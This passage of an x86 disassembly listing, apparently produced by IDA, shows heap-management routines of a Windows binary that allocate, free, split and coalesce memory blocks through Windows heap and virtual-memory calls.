loc_418A61:				; CODE XREF: sub_4189F0+12j
					; sub_4189F0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A68	proc near		; CODE XREF: sub_415DDB+1Fp
					; sub_4174DF+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4694F8
		test	eax, eax
		jz	short loc_418A80
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418A80
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A80:				; CODE XREF: sub_418A68+7j
					; sub_418A68+12j
		xor	eax, eax
		retn
sub_418A68	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A83	proc near		; CODE XREF: sub_417AF8+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_421174	; HeapCreate
		test	eax, eax
		mov	dword_46AB00, eax
		jz	short loc_418AB8
		call	sub_418ABF
		test	eax, eax
		jnz	short loc_418ABB
		push	dword_46AB00
		call	dword_421170	; HeapDestroy


loc_418AB8:				; CODE XREF: sub_418A83+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418ABB:				; CODE XREF: sub_418A83+27j
		push	1
		pop	eax
		retn
sub_418A83	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ABF	proc near		; CODE XREF: sub_418A83+20p
		push	140h
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_46AAFC, eax
		jnz	short loc_418ADC
		retn
; ---------------------------------------------------------------------------


loc_418ADC:				; CODE XREF: sub_418ABF+1Aj
		and	dword_46AAF4, 0
		and	dword_46AAF8, 0
		push	1
		mov	dword_46AAF0, eax
		mov	dword_46AAE8, 10h
		pop	eax
		retn
sub_418ABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AFD	proc near		; CODE XREF: sub_415E3D+Ap
					; sub_4174DF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_46AAF8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46AAFC
		lea	ecx, [eax+ecx*4]


loc_418B0D:				; CODE XREF: sub_418AFD+26j
		cmp	eax, ecx
		jnb	short loc_418B25
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B27
		add	eax, 14h
		jmp	short loc_418B0D
; ---------------------------------------------------------------------------


loc_418B25:				; CODE XREF: sub_418AFD+12j
		xor	eax, eax

locret_418B27:				; CODE XREF: sub_418AFD+21j
		retn
sub_418AFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B28	proc near		; CODE XREF: sub_415E3D+16p
					; sub_4174DF+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_418BEE
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_418B80
		mov	[ebp+arg_4], edi


loc_418B80:				; CODE XREF: sub_418B28+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418BAE
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BD2
; ---------------------------------------------------------------------------


loc_418BAE:				; CODE XREF: sub_418B28+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_418BD2:				; CODE XREF: sub_418B28+60j
					; sub_418B28+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_418BEE:				; CODE XREF: sub_418B28+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BFC
		push	3Fh
		pop	edi


loc_418BFC:				; CODE XREF: sub_418B28+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418CAB
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C27
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_418C27:				; CODE XREF: sub_418B28+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C39
		mov	edi, edx


loc_418C39:				; CODE XREF: sub_418B28+10Dj
		cmp	ecx, edi
		jz	short loc_418CA8
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C6C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C90
; ---------------------------------------------------------------------------


loc_418C6C:				; CODE XREF: sub_418B28+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_418C90:				; CODE XREF: sub_418B28+11Ej
					; sub_418B28+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_418CA8:				; CODE XREF: sub_418B28+113j
		mov	edx, [ebp+var_8]


loc_418CAB:				; CODE XREF: sub_418B28+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418CBA
		cmp	[ebp+arg_4], edi
		jz	loc_418D43


loc_418CBA:				; CODE XREF: sub_418B28+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D43
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418D17
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D06
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418D06:				; CODE XREF: sub_418B28+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D40
; ---------------------------------------------------------------------------


loc_418D17:				; CODE XREF: sub_418B28+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D2D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418D2D:				; CODE XREF: sub_418B28+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_418D40:				; CODE XREF: sub_418B28+1EDj
		mov	ebx, [ebp+var_C]


loc_418D43:				; CODE XREF: sub_418B28+18Cj
					; sub_418B28+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E4E
		mov	eax, dword_46AAF4
		test	eax, eax
		jz	loc_418E40
		mov	ecx, dword_46AAEC
		mov	edi, dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_46AAEC
		mov	eax, dword_46AAF4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_46AAF4
		mov	ecx, dword_46AAEC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_46AAF4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_46AAF4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DCE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_46AAF4


loc_418DCE:				; CODE XREF: sub_418B28+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E40
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_46AAF4
		push	dword ptr [eax+10h]
		push	0
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap
		mov	eax, dword_46AAF8
		mov	edx, dword_46AAFC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_46AAF4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416490
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_46AAF8
		cmp	eax, dword_46AAF4
		jbe	short loc_418E32
		sub	eax, 14h


loc_418E32:				; CODE XREF: sub_418B28+305j
		mov	ecx, dword_46AAFC
		mov	dword_46AAF0, ecx
		jmp	short loc_418E43
; ---------------------------------------------------------------------------


loc_418E40:				; CODE XREF: sub_418B28+233j
					; sub_418B28+2AAj
		mov	eax, [ebp+arg_0]


loc_418E43:				; CODE XREF: sub_418B28+316j
		mov	dword_46AAF4, eax
		mov	dword_46AAEC, esi


loc_418E4E:				; CODE XREF: sub_418B28+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E53	proc near		; CODE XREF: sub_415E07+Ep
					; sub_4174DF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_46AAF8
		mov	edx, dword_46AAFC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E93
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418EA3
; ---------------------------------------------------------------------------


loc_418E93:				; CODE XREF: sub_418E53+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_418EA3:				; CODE XREF: sub_418E53+3Ej
		mov	eax, dword_46AAF0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECA


loc_418EB1:				; CODE XREF: sub_418E53+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418EB1


loc_418ECA:				; CODE XREF: sub_418E53+5Cj
					; sub_418E53+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F48
		mov	ebx, edx


loc_418ED1:				; CODE XREF: sub_418E53+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EED
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EEB
		add	ebx, 14h
		jmp	short loc_418ED1
; ---------------------------------------------------------------------------


loc_418EEB:				; CODE XREF: sub_418E53+91j
		cmp	ebx, eax


loc_418EED:				; CODE XREF: sub_418E53+83j
		jnz	short loc_418F48


loc_418EEF:				; CODE XREF: sub_418E53+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418F05
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F02
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418EEF
; ---------------------------------------------------------------------------


loc_418F02:				; CODE XREF: sub_418E53+A5j
		cmp	ebx, [ebp+var_4]


loc_418F05:				; CODE XREF: sub_418E53+9Fj
		jnz	short loc_418F2D
		mov	ebx, edx


loc_418F09:				; CODE XREF: sub_418E53+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418F1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F1B
		add	ebx, 14h
		jmp	short loc_418F09
; ---------------------------------------------------------------------------


loc_418F1B:				; CODE XREF: sub_418E53+C1j
		cmp	ebx, eax


loc_418F1D:				; CODE XREF: sub_418E53+BBj
		jnz	short loc_418F2D
		call	sub_41915C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F41


loc_418F2D:				; CODE XREF: sub_418E53:loc_418F05j
					; sub_418E53:loc_418F1Dj
		push	ebx
		call	sub_41920D
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F48


loc_418F41:				; CODE XREF: sub_418E53+D8j
		xor	eax, eax
		jmp	loc_419157
; ---------------------------------------------------------------------------


loc_418F48:				; CODE XREF: sub_418E53+7Aj
					; sub_418E53:loc_418EEDj ...
		mov	dword_46AAF0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F6F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418FA6


loc_418F6F:				; CODE XREF: sub_418E53+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418FA3


loc_418F8C:				; CODE XREF: sub_418E53+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F8C


loc_418FA3:				; CODE XREF: sub_418E53+137j
		mov	edx, [ebp+var_4]


loc_418FA6:				; CODE XREF: sub_418E53+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FCF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_418FCF:				; CODE XREF: sub_418E53+16Dj
					; sub_418E53+183j
		test	ecx, ecx
		jl	short loc_418FD8
		shl	ecx, 1
		inc	edi
		jmp	short loc_418FCF
; ---------------------------------------------------------------------------


loc_418FD8:				; CODE XREF: sub_418E53+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FF5
		push	3Fh
		pop	esi


loc_418FF5:				; CODE XREF: sub_418E53+19Dj
		cmp	esi, edi
		jz	loc_41910A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419066
		cmp	edi, 20h
		jge	short loc_419035
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------


loc_419035:				; CODE XREF: sub_418E53+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------


loc_419063:				; CODE XREF: sub_418E53+1D6j
					; sub_418E53+203j
		mov	ebx, [ebp+arg_0]


loc_419066:				; CODE XREF: sub_418E53+1B0j
					; sub_418E53+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_419116
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419107
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190D8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190C6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4190C6:				; CODE XREF: sub_418E53+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_419107
; ---------------------------------------------------------------------------


loc_4190D8:				; CODE XREF: sub_418E53+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190F1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4190F1:				; CODE XREF: sub_418E53+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_419107:				; CODE XREF: sub_418E53+24Ej
					; sub_418E53+283j
		mov	ecx, [ebp+var_8]


loc_41910A:				; CODE XREF: sub_418E53+1A4j
		test	ecx, ecx
		jz	short loc_419119
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_419119
; ---------------------------------------------------------------------------


loc_419116:				; CODE XREF: sub_418E53+229j
		mov	ecx, [ebp+var_8]


loc_419119:				; CODE XREF: sub_418E53+2B9j
					; sub_418E53+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41914F
		cmp	ebx, dword_46AAF4
		jnz	short loc_41914F
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46AAEC
		jnz	short loc_41914F
		and	dword_46AAF4, 0


loc_41914F:				; CODE XREF: sub_418E53+2E0j
					; sub_418E53+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419157:				; CODE XREF: sub_418E53+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41915C	proc near		; CODE XREF: sub_418E53+CCp
		mov	eax, dword_46AAF8
		mov	ecx, dword_46AAE8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41919F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46AAFC
		push	edi
		push	dword_46AB00
		call	dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4191EF
		add	dword_46AAE8, 10h
		mov	dword_46AAFC, eax
		mov	eax, dword_46AAF8


loc_41919F:				; CODE XREF: sub_41915C+11j
		mov	ecx, dword_46AAFC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_46AB00
		lea	esi, [ecx+eax*4]
		call	dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191EF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_42117C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191F3
		push	dword ptr [esi+10h]
		push	edi
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap


loc_4191EF:				; CODE XREF: sub_41915C+30j
					; sub_41915C+67j
		xor	eax, eax
		jmp	short loc_41920A
; ---------------------------------------------------------------------------


loc_4191F3:				; CODE XREF: sub_41915C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_46AAF8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41920A:				; CODE XREF: sub_41915C+95j
		pop	edi
		pop	esi
		retn
sub_41915C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41920D	proc near		; CODE XREF: sub_418E53+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41921F:				; CODE XREF: sub_41920D+19j
		test	eax, eax
		jl	short loc_419228
		shl	eax, 1
		inc	ebx
		jmp	short loc_41921F
; ---------------------------------------------------------------------------


loc_419228:				; CODE XREF: sub_41920D+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41923D:				; CODE XREF: sub_41920D+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41923D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_42117C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_419270
		or	eax, 0FFFFFFFFh
		jmp	loc_419303
; ---------------------------------------------------------------------------


loc_419270:				; CODE XREF: sub_41920D+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_4192B6
		lea	eax, [edi+10h]


loc_41927D:				; CODE XREF: sub_41920D+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41927D


loc_4192B6:				; CODE XREF: sub_41920D+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192F3
		or	[eax+4], edi


loc_4192F3:				; CODE XREF: sub_41920D+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_419303:				; CODE XREF: sub_41920D+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41920D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419308	proc near		; CODE XREF: sub_4174DF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_4194B6
		test	bl, 1
		jnz	loc_4194AF
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4194AF
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41937F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41937F:				; CODE XREF: sub_419308+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193CF
		cmp	ecx, 20h
		jnb	short loc_4193AB
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193CF
; ---------------------------------------------------------------------------


loc_4193AB:				; CODE XREF: sub_419308+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4193CF:				; CODE XREF: sub_419308+7Dj
					; sub_419308+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41949D
		mov	edi, [ebp+var_4]
